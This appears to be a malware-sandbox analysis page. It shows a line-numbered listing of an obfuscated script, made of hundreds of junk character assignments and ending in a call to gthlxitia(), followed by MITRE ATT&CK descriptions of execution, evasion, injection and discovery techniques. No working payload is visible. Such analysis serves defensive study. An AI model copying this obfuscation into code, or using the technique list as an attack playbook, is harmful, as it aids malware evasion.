590	cfnpmv = "T";
591	cfnpmv = "A";
592	cfnpmv = "o";
593	cfnpmv = "o";
594	cfnpmv = "R";
595	cfnpmv = "g";
596	cfnpmv = "X";
597	cfnpmv = "r";
598	cfnpmv = "m";
599	cfnpmv = "X";
600	cfnpmv = "Y";
601	cfnpmv = "y";
602	cfnpmv = "R";
603	cfnpmv = "h";
604	cfnpmv = "b";
605	cfnpmv = "K";
606	cfnpmv = "L";
607	cfnpmv = "X";
608	cfnpmv = "c";
609	cfnpmv = "D";
610	cfnpmv = "D";
611	cfnpmv = "O";
612	cfnpmv = "A";
613	cfnpmv = "D";
614	cfnpmv = "m";
615	cfnpmv = "p";
616	cfnpmv = "j";
617	cfnpmv = "d";
618	cfnpmv = "G";
619	cfnpmv = "M";
620	cfnpmv = "M";
621	cfnpmv = "I";
622	cfnpmv = "O";
623	cfnpmv = "c";
624	gdfmp = "Z";
625	gdfmp = "Y";
626	gdfmp = "F";
627	gdfmp = "V";
628	gdfmp = "L";
629	gdfmp = "i";
630	gdfmp = "e";
631	gdfmp = "W";
632	gdfmp = "f";
633	gdfmp = "G";
634	gdfmp = "H";
635	gdfmp = "t";
636	gdfmp = "M";
637	gdfmp = "p";
638	gdfmp = "N";
639	gdfmp = "C";
640	gdfmp = "J";
641	gdfmp = "L";
642	gdfmp = "b";
643	gdfmp = "L";
644	gdfmp = "t";
645	gdfmp = "V";
646	gdfmp = "E";
647	gdfmp = "Q";
648	gdfmp = "n";
649	gdfmp = "T";
650	gdfmp = "w";
651	gdfmp = "J";
652	gdfmp = "K";
653	gdfmp = "X";
654	gdfmp = "D";
655	gdfmp = "b";
656	gdfmp = "P";
657	gdfmp = "y";
658	gdfmp = "D";
659	gdfmp = "Y";
660	gdfmp = "N";
661	gdfmp = "q";
662	gdfmp = "p";
663	gdfmp = "e";
664	gdfmp = "u";
665	gdfmp = "i";
666	gdfmp = "I";
667	gdfmp = "N";
668	gdfmp = "p";
669	gmyzuzau = "K";
670	gmyzuzau = "E";
671	gmyzuzau = "C";
672	gmyzuzau = "X";
673	gmyzuzau = "n";
674	gmyzuzau = "R";
675	gmyzuzau = "c";
676	gmyzuzau = "k";
677	gmyzuzau = "G";
678	gmyzuzau = "F";
679	gmyzuzau = "N";
680	gmyzuzau = "R";
681	gmyzuzau = "b";
682	gmyzuzau = "I";
683	gmyzuzau = "F";
684	gmyzuzau = "Q";
685	gmyzuzau = "I";
686	gmyzuzau = "t";
687	gmyzuzau = "N";
688	gmyzuzau = "P";
689	gmyzuzau = "\"";
690	iqtzeupi = "H";
691	iqtzeupi = "k";
692	iqtzeupi = "W";
693	iqtzeupi = "B";
694	iqtzeupi = "x";
695	iqtzeupi = "q";
696	iqtzeupi = "W";
697	iqtzeupi = "f";
698	iqtzeupi = "B";
699	iqtzeupi = "T";
700	iqtzeupi = "g";
701	iqtzeupi = "g";
702	iqtzeupi = "d";
703	iqtzeupi = "e";
704	bcjty = "r";
705	bcjty = "Q";
706	bcjty = "H";
707	bcjty = "O";
708	bcjty = "g";
709	bcjty = "v";
710	bcjty = "n";
711	bcjty = "I";
712	bcjty = "R";
713	bcjty = "r";
714	bcjty = "j";
715	bcjty = "o";
716	bcjty = "c";
717	bcjty = "s";
718	bcjty = "Z";
719	bcjty = "K";
720	bcjty = "k";
721	bcjty = "S";
722	bcjty = "j";
723	bcjty = "t";
724	bcjty = "Y";
725	bcjty = "w";
726	bcjty = "w";
727	bcjty = "F";
728	bcjty = "T";
729	bcjty = "p";
730	bcjty = "C";
731	bcjty = "T";
732	bcjty = "R";
733	bcjty = "J";
734	bcjty = "A";
735	bcjty = "O";
736	bcjty = "t";
737	bcjty = "r";
738	bcjty = "V";
739	bcjty = "I";
740	bcjty = "q";
741	bcjty = "o";
742	bcjty = "Z";
743	bcjty = "F";
744	bcjty = "E";
745	bcjty = "z";
746	bcjty = "F";
747	uscsnysxs = "k";
748	uscsnysxs = "k";
749	uscsnysxs = "B";
750	uscsnysxs = "v";
751	uscsnysxs = "U";
752	uscsnysxs = "T";
753	uscsnysxs = "q";
754	uscsnysxs = "x";
755	uscsnysxs = "x";
756	uscsnysxs = "x";
757	uscsnysxs = "I";
758	uscsnysxs = "s";
759	uscsnysxs = "V";
760	uscsnysxs = "m";
761	uscsnysxs = "P";
762	uscsnysxs = "H";
763	uscsnysxs = "o";
764	uscsnysxs = "w";
765	uscsnysxs = "Z";
766	uscsnysxs = "d";
767	uscsnysxs = "L";
768	wgwdk = "a";
769	wgwdk = "N";
770	wgwdk = "E";
771	wgwdk = "F";
772	wgwdk = "i";
773	wgwdk = "f";
774	wgwdk = "r";
775	wgwdk = "H";
776	wgwdk = "b";
777	wgwdk = "b";
778	wgwdk = "M";
779	wgwdk = "n";
780	wgwdk = "k";
781	wgwdk = "Z";
782	wgwdk = "c";
783	wgwdk = "F";
784	wgwdk = "q";
785	wgwdk = "H";
786	wgwdk = "e";
787	wgwdk = "r";
788	wgwdk = "L";
789	wgwdk = "t";
790	wgwdk = "o";
791	wgwdk = "q";
792	wgwdk = "m";
793	wgwdk = "f";
794	wgwdk = "m";
795	wgwdk = "R";
796	wgwdk = "O";
797	wgwdk = "p";
798	wgwdk = "y";
799	wgwdk = "o";
800	wgwdk = "w";
801	wgwdk = "g";
802	wgwdk = "E";
803	wgwdk = "I";
804	wgwdk = "Y";
805	tzydtgzqm = "o";
806	tzydtgzqm = "p";
807	tzydtgzqm = "s";
808	tzydtgzqm = "q";
809	tzydtgzqm = "F";
810	tzydtgzqm = "l";
811	tzydtgzqm = "l";
812	tzydtgzqm = "m";
813	tzydtgzqm = "R";
814	tzydtgzqm = "E";
815	tzydtgzqm = "G";
816	tzydtgzqm = "W";
817	tzydtgzqm = "g";
818	tzydtgzqm = "p";
819	tzydtgzqm = "O";
820	tzydtgzqm = "r";
821	tzydtgzqm = "N";
822	tzydtgzqm = "p";
823	tzydtgzqm = "t";
824	tzydtgzqm = "W";
825	tzydtgzqm = "p";
826	tzydtgzqm = "g";
827	tzydtgzqm = "v";
828	tzydtgzqm = "z";
829	tzydtgzqm = "C";
830	tzydtgzqm = "m";
831	tzydtgzqm = "i";
832	tzydtgzqm = "j";
833	tzydtgzqm = "D";
834	tzydtgzqm = "5";
835	walwehxus = "R";
836	walwehxus = "B";
837	walwehxus = "b";
838	walwehxus = "s";
839	walwehxus = "F";
840	walwehxus = "l";
841	walwehxus = "E";
842	walwehxus = "I";
843	walwehxus = "o";
844	walwehxus = "y";
845	walwehxus = "y";
846	walwehxus = "I";
847	walwehxus = "j";
848	walwehxus = "C";
849	walwehxus = "p";
850	walwehxus = "u";
851	walwehxus = "A";
852	walwehxus = "U";
853	walwehxus = "Q";
854	walwehxus = "A";
855	walwehxus = "l";
856	walwehxus = "v";
857	walwehxus = "r";
858	walwehxus = "Z";
859	walwehxus = "y";
860	walwehxus = "v";
861	walwehxus = "c";
862	walwehxus = "w";
863	walwehxus = "f";
864	walwehxus = "y";
865	walwehxus = "K";
866	walwehxus = "s";
867	walwehxus = "I";
868	walwehxus = "U";
869	walwehxus = "y";
870	walwehxus = "v";
871	walwehxus = "P";
872	walwehxus = "U";
873	zuvethga = "P";
874	zuvethga = "M";
875	zuvethga = "y";
876	zuvethga = "B";
877	zuvethga = "S";
878	zuvethga = "Y";
879	zuvethga = "m";
880	zuvethga = "P";
881	llypug = "l";
882	llypug = "b";
883	llypug = "q";
884	llypug = "i";
885	llypug = "O";
886	llypug = "U";
887	llypug = "a";
888	llypug = "P";
889	llypug = "i";
890	llypug = "q";
891	llypug = "C";
892	llypug = "Z";
893	llypug = "i";
894	cponda = "N";
895	cponda = "Z";
896	cponda = "o";
897	cponda = "N";
898	cponda = "A";
899	cponda = "K";
900	cponda = "I";
901	cponda = "F";
902	cponda = "c";
903	cponda = "Y";
904	cponda = "h";
905	cponda = "A";
906	cponda = "D";
907	cponda = "f";
908	cponda = "Q";
909	cponda = "Y";
910	cponda = "O";
911	cponda = "Z";
912	cponda = "H";
913	cponda = "S";
914	gfonbestm = "J";
915	gfonbestm = "B";
916	gfonbestm = "r";
917	gfonbestm = "g";
918	gfonbestm = "t";
919	gfonbestm = "f";
920	gfonbestm = "q";
921	gfonbestm = "v";
922	gfonbestm = "y";
923	gfonbestm = "k";
924	gfonbestm = "l";
925	gfonbestm = "s";
926	gfonbestm = "t";
927	gfonbestm = "J";
928	gfonbestm = "i";
929	gfonbestm = "C";
930	gfonbestm = "D";
931	gfonbestm = "F";
932	gfonbestm = "V";
933	gfonbestm = "W";
934	gfonbestm = "l";
935	gfonbestm = "R";
936	gfonbestm = "z";
937	gfonbestm = "G";
938	gfonbestm = "u";
939	gfonbestm = "T";
940	gfonbestm = "U";
941	gfonbestm = "j";
942	bkrqxh = "z";
943	bkrqxh = "P";
944	bkrqxh = "A";
945	bkrqxh = "a";
946	bkrqxh = "s";
947	bkrqxh = "j";
948	bkrqxh = "R";
949	bkrqxh = "F";
950	bkrqxh = "j";
951	bkrqxh = "s";
952	bkrqxh = "B";
953	bkrqxh = "j";
954	bkrqxh = "l";
955	bkrqxh = "X";
956	bkrqxh = "K";
957	bkrqxh = "X";
958	bkrqxh = "D";
959	bkrqxh = "E";
960	bkrqxh = "L";
961	bkrqxh = "Y";
962	bkrqxh = "g";
963	bkrqxh = "d";
964	bkrqxh = "V";
965	bkrqxh = "j";
966	bkrqxh = "H";
967	bkrqxh = "f";
968	bkrqxh = "P";
969	bkrqxh = "8";
970	ggmnysgfk = "T";
971	ggmnysgfk = "r";
972	ggmnysgfk = " ";
973	jzegm = "C";
974	jzegm = "R";
975	jzegm = "t";
976	jzegm = "X";
977	jzegm = "K";
978	jzegm = "C";
979	jzegm = "N";
980	jzegm = "R";
981	jzegm = "C";
982	dstblouc = "f";
983	dstblouc = "P";
984	dstblouc = "N";
985	dstblouc = "u";
986	rcfin = "O";
987	rcfin = "v";
988	rcfin = "v";
989	rcfin = "t";
990	rcfin = "g";
991	rcfin = "G";
992	rcfin = "g";
993	rcfin = "f";
994	rcfin = "Z";
995	rcfin = "M";
996	rcfin = "p";
997	rcfin = "w";
998	rcfin = "N";
999	rcfin = "Y";
1000	rcfin = "e";
1001	rcfin = "X";
1002	rcfin = "s";
1003	rcfin = "y";
1004	rcfin = "q";
1005	rcfin = "y";
1006	rcfin = "C";
1007	rcfin = "g";
1008	rcfin = "c";
1009	rcfin = "n";
1010	rcfin = "T";
1011	rcfin = "F";
1012	rcfin = "d";
1013	rcfin = "D";
1014	rcfin = "e";
1015	rcfin = "a";
1016	xoaseudcj = "W";
1017	xoaseudcj = "F";
1018	xoaseudcj = "C";
1019	xoaseudcj = "O";
1020	xoaseudcj = "b";
1021	xoaseudcj = "n";
1022	xoaseudcj = "o";
1023	xoaseudcj = "E";
1024	xoaseudcj = "s";
1025	xoaseudcj = "y";
1026	xoaseudcj = "B";
1027	xoaseudcj = "J";
1028	xoaseudcj = "k";
1029	xoaseudcj = "K";
1030	xoaseudcj = "m";
1031	xoaseudcj = "y";
1032	xoaseudcj = "X";
1033	xoaseudcj = "X";
1034	xoaseudcj = "i";
1035	xoaseudcj = "b";
1036	xoaseudcj = "k";
1037	xoaseudcj = "Y";
1038	xoaseudcj = "r";
1039	xoaseudcj = "f";
1040	xoaseudcj = "W";
1041	xoaseudcj = "c";
1042	xoaseudcj = "a";
1043	xoaseudcj = "M";
1044	xoaseudcj = "z";
1045	xoaseudcj = "W";
1046	xoaseudcj = "O";
1047	xoaseudcj = "T";
1048	xoaseudcj = "X";
1049	xoaseudcj = "e";
1050	xoaseudcj = "i";
1051	xoaseudcj = "w";
1052	xoaseudcj = "k";
1053	xoaseudcj = ".";
1054	caxzbuilf = "g";
1055	caxzbuilf = "H";
1056	caxzbuilf = "Z";
1057	caxzbuilf = "l";
1058	caxzbuilf = "p";
1059	caxzbuilf = "R";
1060	iraayipux = "v";
1061	iraayipux = "t";
1062	iraayipux = "v";
1063	iraayipux = "B";
1064	iraayipux = "p";
1065	iraayipux = "g";
1066	iraayipux = "R";
1067	iraayipux = "z";
1068	iraayipux = "h";
1069	iraayipux = "n";
1070	iraayipux = "h";
1071	iraayipux = "B";
1072	iraayipux = "u";
1073	iraayipux = "v";
1074	iraayipux = "e";
1075	iraayipux = "i";
1076	iraayipux = "J";
1077	iraayipux = "q";
1078	iraayipux = "O";
1079	hmtyfv = "V";
1080	hmtyfv = "V";
1081	hmtyfv = "y";
1082	hmtyfv = "Z";
1083	hmtyfv = "Z";
1084	hmtyfv = "N";
1085	hmtyfv = "J";
1086	hmtyfv = "n";
1087	hmtyfv = "E";
1088	hmtyfv = "F";
1089	hmtyfv = "C";
1090	hmtyfv = "I";
1091	hmtyfv = "y";
1092	hmtyfv = "t";
1093	hmtyfv = "E";
1094	hmtyfv = "L";
1095	hmtyfv = "u";
1096	hmtyfv = "q";
1097	hmtyfv = "R";
1098	hmtyfv = "W";
1099	hmtyfv = "y";
1100	hmtyfv = "S";
1101	hmtyfv = "M";
1102	hmtyfv = "d";
1103	hmtyfv = "q";
1104	hmtyfv = "J";
1105	hmtyfv = "f";
1106	hmtyfv = "T";
1107	aykktjqgy = "D";
1108	aykktjqgy = "O";
1109	aykktjqgy = "Z";
1110	aykktjqgy = "w";
1111	aykktjqgy = "p";
1112	aykktjqgy = "a";
1113	aykktjqgy = "i";
1114	aykktjqgy = "l";
1115	aykktjqgy = "e";
1116	aykktjqgy = "o";
1117	aykktjqgy = "Z";
1118	aykktjqgy = "h";
1119	aykktjqgy = "Y";
1120	aykktjqgy = "k";
1121	aykktjqgy = "x";
1122	aykktjqgy = "V";
1123	aykktjqgy = "w";
1124	aykktjqgy = "i";
1125	aykktjqgy = "E";
1126	aykktjqgy = "d";
1127	aykktjqgy = "e";
1128	aykktjqgy = "O";
1129	aykktjqgy = "i";
1130	aykktjqgy = "S";
1131	aykktjqgy = "F";
1132	aykktjqgy = "K";
1133	aykktjqgy = "r";
1134	aykktjqgy = "F";
1135	aykktjqgy = "G";
1136	aykktjqgy = "n";
1137	aykktjqgy = "X";
1138	aykktjqgy = "I";
1139	aykktjqgy = "h";
1140	aykktjqgy = "W";
1141	aykktjqgy = "q";
1142	aykktjqgy = "l";
1143	aykktjqgy = "n";
1144	aykktjqgy = "K";
1145	aykktjqgy = "N";
1146	uueizk = "K";
1147	uueizk = "F";
1148	uueizk = "z";
1149	uueizk = "T";
1150	uueizk = "s";
1151	uueizk = "H";
1152	uueizk = "i";
1153	uueizk = "Z";
1154	uueizk = "l";
1155	uueizk = "L";
1156	uueizk = "y";
1157	uueizk = "g";
1158	uueizk = "V";
1159	uueizk = "k";
1160	uueizk = "c";
1161	uueizk = "C";
1162	uueizk = "b";
1163	uueizk = "L";
1164	uueizk = "t";
1165	uueizk = "v";
1166	uueizk = "l";
1167	uueizk = "T";
1168	uueizk = "M";
1169	uueizk = "T";
1170	uueizk = "p";
1171	uueizk = "l";
1172	uueizk = "U";
1173	uueizk = "g";
1174	uueizk = "Y";
1175	uueizk = "M";
1176	uueizk = "Q";
1177	uueizk = "H";
1178	uueizk = "T";
1179	uueizk = "x";
1180	lpncrzowh = "l";
1181	lpncrzowh = "B";
1182	lpncrzowh = "t";
1183	lpncrzowh = "N";
1184	lpncrzowh = "G";
1185	lpncrzowh = "F";
1186	lpncrzowh = "K";
1187	lpncrzowh = "f";
1188	lpncrzowh = "O";
1189	lpncrzowh = "G";
1190	lpncrzowh = "V";
1191	lpncrzowh = "l";
1192	lpncrzowh = "d";
1193	lpncrzowh = "O";
1194	lpncrzowh = "q";
1195	lpncrzowh = "l";
1196	lpncrzowh = "k";
1197	kreqd = "m";
1198	kreqd = "e";
1199	kreqd = "B";
1200	kreqd = "b";
1201	kreqd = "t";
1202	mtjgib = "c";
1203	mtjgib = "J";
1204	mtjgib = "Q";
1205	mtjgib = "E";
1206	mtjgib = "I";
1207	mtjgib = "k";
1208	mtjgib = "X";
1209	mtjgib = "M";
1210	mtjgib = "H";
1211	mtjgib = "a";
1212	mtjgib = "M";
1213	mtjgib = "R";
1214	mtjgib = "u";
1215	mtjgib = "e";
1216	mtjgib = "T";
1217	mtjgib = "H";
1218	mtjgib = "T";
1219	mtjgib = "z";
1220	mtjgib = "J";
1221	mtjgib = "O";
1222	mtjgib = "w";
1223	mtjgib = "q";
1224	mtjgib = "N";
1225	mtjgib = "D";
1226	mtjgib = "u";
1227	mtjgib = "J";
1228	mtjgib = "I";
1229	mtjgib = "P";
1230	mtjgib = "l";
1231	kghrph = "h";
1232	kghrph = "W";
1233	kghrph = "j";
1234	kghrph = "c";
1235	kghrph = "w";
1236	kghrph = "B";
1237	kghrph = "T";
1238	kghrph = "b";
1239	kghrph = "c";
1240	kghrph = "S";
1241	kghrph = "k";
1242	kghrph = "M";
1243	kghrph = "K";
1244	kghrph = "b";
1245	kghrph = "l";
1246	kghrph = "X";
1247	kghrph = "D";
1248	kghrph = "C";
1249	kghrph = "z";
1250	kghrph = "E";
1251	kghrph = "X";
1252	kghrph = "A";
1253	kghrph = "y";
1254	kghrph = "I";
1255	kghrph = "E";
1256	kghrph = "H";
1257	kghrph = "O";
1258	kghrph = "n";
1259	kghrph = "i";
1260	kghrph = "P";
1261	kghrph = "K";
1262	kghrph = "H";
1263	kghrph = "K";
1264	kghrph = "C";
1265	kghrph = "K";
1266	kghrph = "g";
1267	kghrph = "3";
1268	btsqswkw = "I";
1269	btsqswkw = "o";
1270	btsqswkw = "l";
1271	btsqswkw = "c";
1272	btsqswkw = "b";
1273	btsqswkw = "Y";
1274	btsqswkw = "H";
1275	oxnqmbmhz = "A";
1276	oxnqmbmhz = "V";
1277	oxnqmbmhz = "T";
1278	oxnqmbmhz = "r";
1279	oxnqmbmhz = "P";
1280	oxnqmbmhz = "j";
1281	oxnqmbmhz = "A";
1282	oxnqmbmhz = "l";
1283	oxnqmbmhz = "s";
1284	oxnqmbmhz = "g";
1285	oxnqmbmhz = "W";
1286	oxnqmbmhz = "g";
1287	oxnqmbmhz = "c";
1288	oxnqmbmhz = "f";
1289	oxnqmbmhz = "W";
1290	oxnqmbmhz = "m";
1291	oxnqmbmhz = "q";
1292	oxnqmbmhz = "p";
1293	oxnqmbmhz = "f";
1294	oxnqmbmhz = "b";
1295	oxnqmbmhz = "V";
1296	oxnqmbmhz = "s";
1297	oxnqmbmhz = "Y";
1298	oxnqmbmhz = "w";
1299	oxnqmbmhz = "x";
1300	oxnqmbmhz = "U";
1301	oxnqmbmhz = "q";
1302	oxnqmbmhz = "z";
1303	oxnqmbmhz = "f";
1304	oxnqmbmhz = "f";
1305	oxnqmbmhz = "h";
1306	oxnqmbmhz = "w";
1307	oxnqmbmhz = "p";
1308	oxnqmbmhz = "E";
1309	oxnqmbmhz = "y";
1310	oxnqmbmhz = "W";
1311	oxnqmbmhz = "%";
1312	zlskayc = "M";
1313	zlskayc = "I";
1314	zlskayc = "W";
1315	zlskayc = "Y";
1316	zlskayc = "i";
1317	zlskayc = "n";
1318	zlskayc = "h";
1319	zlskayc = "H";
1320	zlskayc = "X";
1321	zlskayc = "X";
1322	zlskayc = "Q";
1323	zlskayc = "T";
1324	zlskayc = "v";
1325	zlskayc = "k";
1326	zlskayc = "r";
1327	zlskayc = "c";
1328	zlskayc = "v";
1329	xkmxvtaqg = "i";
1330	xkmxvtaqg = "M";
1331	xkmxvtaqg = "O";
1332	xkmxvtaqg = "x";
1333	xkmxvtaqg = "p";
1334	xkmxvtaqg = "i";
1335	xkmxvtaqg = "B";
1336	xkmxvtaqg = "L";
1337	xkmxvtaqg = "g";
1338	xkmxvtaqg = "a";
1339	xkmxvtaqg = "X";
1340	xkmxvtaqg = "c";
1341	xkmxvtaqg = "z";
1342	xkmxvtaqg = "n";
1343	xkmxvtaqg = "t";
1344	xkmxvtaqg = "U";
1345	xkmxvtaqg = "l";
1346	xkmxvtaqg = "o";
1347	xkmxvtaqg = "K";
1348	xkmxvtaqg = "N";
1349	xkmxvtaqg = "A";
1350	xkmxvtaqg = "d";
1351	xkmxvtaqg = "h";
1352	xkmxvtaqg = "U";
1353	xkmxvtaqg = "j";
1354	xkmxvtaqg = "l";
1355	xkmxvtaqg = "r";
1356	xkmxvtaqg = "L";
1357	xkmxvtaqg = "a";
1358	xkmxvtaqg = "j";
1359	xkmxvtaqg = "S";
1360	xkmxvtaqg = "z";
1361	xkmxvtaqg = "4";
1362	zuqxvfoyw = "A";
1363	zuqxvfoyw = "c";
1364	zuqxvfoyw = "T";
1365	zuqxvfoyw = "s";
1366	zuqxvfoyw = "F";
1367	zuqxvfoyw = "s";
1368	zuqxvfoyw = "Q";
1369	zuqxvfoyw = "c";
1370	zuqxvfoyw = "c";
1371	zuqxvfoyw = "P";
1372	zuqxvfoyw = "I";
1373	zuqxvfoyw = "q";
1374	zuqxvfoyw = "A";
1375	zuqxvfoyw = "U";
1376	zuqxvfoyw = "X";
1377	zuqxvfoyw = "r";
1378	zuqxvfoyw = "w";
1379	zuqxvfoyw = "W";
1380	zuqxvfoyw = "g";
1381	zuqxvfoyw = "X";
1382	zuqxvfoyw = "p";
1383	zuqxvfoyw = "x";
1384	zuqxvfoyw = "K";
1385	uplai = "D";
1386	uplai = "Y";
1387	uplai = "g";
1388	uplai = "Y";
1389	uplai = "O";
1390	uplai = "c";
1391	uplai = "U";
1392	uplai = "y";
1393	uplai = "u";
1394	uplai = "v";
1395	uplai = "I";
1396	uplai = "F";
1397	uplai = "j";
1398	uplai = "G";
1399	uplai = "g";
1400	uplai = "B";
1401	uplai = "Y";
1402	uplai = "P";
1403	uplai = "k";
1404	uplai = "\\";
1405	mtbrafs = "g";
1406	mtbrafs = "k";
1407	mtbrafs = "L";
1408	mtbrafs = "O";
1409	mtbrafs = "r";
1410	mtbrafs = "V";
1411	mtbrafs = "A";
1412	mtbrafs = "D";
1413	mtbrafs = "C";
1414	mtbrafs = "A";
1415	mtbrafs = "k";
1416	mtbrafs = "z";
1417	mtbrafs = "l";
1418	mtbrafs = "f";
1419	mtbrafs = "z";
1420	mtbrafs = "s";
1421	mtbrafs = "v";
1422	mtbrafs = "I";
1423	iypvyf = "e";
1424	iypvyf = "t";
1425	iypvyf = "l";
1426	iypvyf = "U";
1427	iypvyf = "O";
1428	iypvyf = "q";
1429	iypvyf = "T";
1430	iypvyf = "b";
1431	iypvyf = "P";
1432	iypvyf = "O";
1433	iypvyf = "j";
1434	iypvyf = "Y";
1435	iypvyf = "B";
1436	iypvyf = "y";
1437	iypvyf = "b";
1438	iypvyf = "H";
1439	iypvyf = "e";
1440	iypvyf = "L";
1441	iypvyf = "L";
1442	iypvyf = "i";
1443	iypvyf = "u";
1444	iypvyf = "j";
1445	iypvyf = "x";
1446	iypvyf = "W";
1447	iypvyf = "m";
1448	iypvyf = "x";
1449	iypvyf = "K";
1450	iypvyf = "D";
1451	iypvyf = "W";
1452	iypvyf = "W";
1453	iypvyf = "f";
1454	iypvyf = "b";
1455	iypvyf = "D";
1456	iypvyf = "K";
1457	iypvyf = "&";
1458	gthlxitia ( );	gthlxitia() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
